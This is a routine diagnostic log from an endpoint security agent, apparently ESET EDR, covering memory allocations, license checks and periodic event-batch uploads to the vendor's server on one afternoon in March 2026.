2026-03-04 18:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2035 KB; ModuleMetadata: 1982 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; rules::ProcessConditionsCache: 352 KB; BaseEvent: 352 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 92 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22581 KB;
2026-03-04 18:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:08:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:08:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:08:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:08:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2391 KB; ModuleMetadata: 1982 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 528 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; rules::ProcessConditionsCache: 322 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BatchSerializer::EventsQueueTag: 138 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23125 KB;
2026-03-04 18:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2795 KB; ModuleMetadata: 1982 KB; BaseEvent: 714 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 318 KB; rules::ProcessConditionsCache: 313 KB; CacheEntry: 292 KB; BatchSerializer::EventsQueueTag: 190 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23768 KB;
2026-03-04 18:10:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:05:52, To:, 2026-03-04 18:10:01, Duration (s):, 249, Events Per Second:, 16.569, Events:, 4135, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3430, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 704, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460516
2026-03-04 18:10:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s758ms.
2026-03-04 18:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1982 KB; ProcessInfo: 1665 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 318 KB; rules::ProcessConditionsCache: 311 KB; CacheEntry: 292 KB; BaseEvent: 157 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21931 KB;
2026-03-04 18:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2025 KB; ModuleMetadata: 1984 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; TcpIpConnectionsManager: 519 KB; BaseEvent: 335 KB; ModuleInfoCache: 318 KB; rules::ProcessConditionsCache: 304 KB; CacheEntry: 292 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 87 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22510 KB;
2026-03-04 18:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2385 KB; ModuleMetadata: 1984 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; TcpIpConnectionsManager: 521 KB; BaseEvent: 514 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 282 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 134 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23076 KB;
2026-03-04 18:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:13:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:13:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:13:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:13:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2745 KB; ModuleMetadata: 1984 KB; BaseEvent: 693 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 264 KB; BatchSerializer::EventsQueueTag: 180 KB; cloudutils::CloudData: 138 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23634 KB;
2026-03-04 18:14:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:10:01, To:, 2026-03-04 18:14:13, Duration (s):, 252, Events Per Second:, 16.287, Events:, 4109, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3383, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457180
2026-03-04 18:14:14 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s470ms.
2026-03-04 18:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1574 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 291 KB; cloudutils::CloudData: 138 KB; BaseEvent: 131 KB; BatchSerializer::EventsQueueTag: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21802 KB;
2026-03-04 18:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1937 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 318 KB; BaseEvent: 310 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 253 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 82 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22352 KB;
2026-03-04 18:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2295 KB; ModuleMetadata: 1984 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 487 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 234 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 128 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22919 KB;
2026-03-04 18:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2681 KB; ModuleMetadata: 1984 KB; BaseEvent: 674 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 243 KB; BatchSerializer::EventsQueueTag: 178 KB; cloudutils::CloudData: 138 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23576 KB;
2026-03-04 18:18:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:14:12, To:, 2026-03-04 18:18:13, Duration (s):, 241, Events Per Second:, 17.018, Events:, 4109, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3408, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 700, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455695
2026-03-04 18:18:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s479ms.
2026-03-04 18:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:18:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:18:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:18:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:18:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1578 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 238 KB; cloudutils::CloudData: 138 KB; BaseEvent: 119 KB; BatchSerializer::EventsQueueTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 21747 KB;
2026-03-04 18:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1940 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 318 KB; BaseEvent: 297 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 218 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 78 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22310 KB;
2026-03-04 18:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2305 KB; ModuleMetadata: 1984 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; BaseEvent: 478 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 213 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 125 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22879 KB;
2026-03-04 18:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2692 KB; ModuleMetadata: 1984 KB; BaseEvent: 662 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 275 KB; BatchSerializer::EventsQueueTag: 174 KB; cloudutils::CloudData: 138 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23579 KB;
2026-03-04 18:22:21 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:18:16, To:, 2026-03-04 18:22:21, Duration (s):, 245, Events Per Second:, 16.765, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3403, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457157
2026-03-04 18:22:22 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s405ms.
2026-03-04 18:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1534 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 253 KB; cloudutils::CloudData: 138 KB; BaseEvent: 98 KB; BatchSerializer::EventsQueueTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21698 KB;
2026-03-04 18:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:23:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:23:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:23:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:23:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1897 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BaseEvent: 276 KB; rules::ProcessConditionsCache: 229 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 73 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22256 KB;
2026-03-04 18:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2254 KB; ModuleMetadata: 1984 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 452 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 205 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 119 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22788 KB;
2026-03-04 18:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2618 KB; ModuleMetadata: 1984 KB; BaseEvent: 633 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 193 KB; BatchSerializer::EventsQueueTag: 166 KB; cloudutils::CloudData: 138 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23356 KB;
2026-03-04 18:26:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:22:21, To:, 2026-03-04 18:26:33, Duration (s):, 252, Events Per Second:, 16.285, Events:, 4106, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3391, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 714, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456594
2026-03-04 18:26:34 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s362ms.
2026-03-04 18:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1426 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 172 KB; cloudutils::CloudData: 138 KB; BaseEvent: 68 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 18 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 21430 KB;
2026-03-04 18:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1786 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BaseEvent: 242 KB; rules::ProcessConditionsCache: 154 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 64 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 21995 KB;
2026-03-04 18:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:28:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:28:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:28:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:28:55 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2154 KB; ModuleMetadata: 1984 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; BaseEvent: 420 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 145 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 110 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 22583 KB;
2026-03-04 18:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2520 KB; ModuleMetadata: 1984 KB; BaseEvent: 602 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BatchSerializer::EventsQueueTag: 158 KB; cloudutils::CloudData: 138 KB; rules::ProcessConditionsCache: 128 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23171 KB;
2026-03-04 18:30:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:26:32, To:, 2026-03-04 18:30:45, Duration (s):, 253, Events Per Second:, 16.288, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3400, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 720, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458576
2026-03-04 18:30:46 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s364ms.
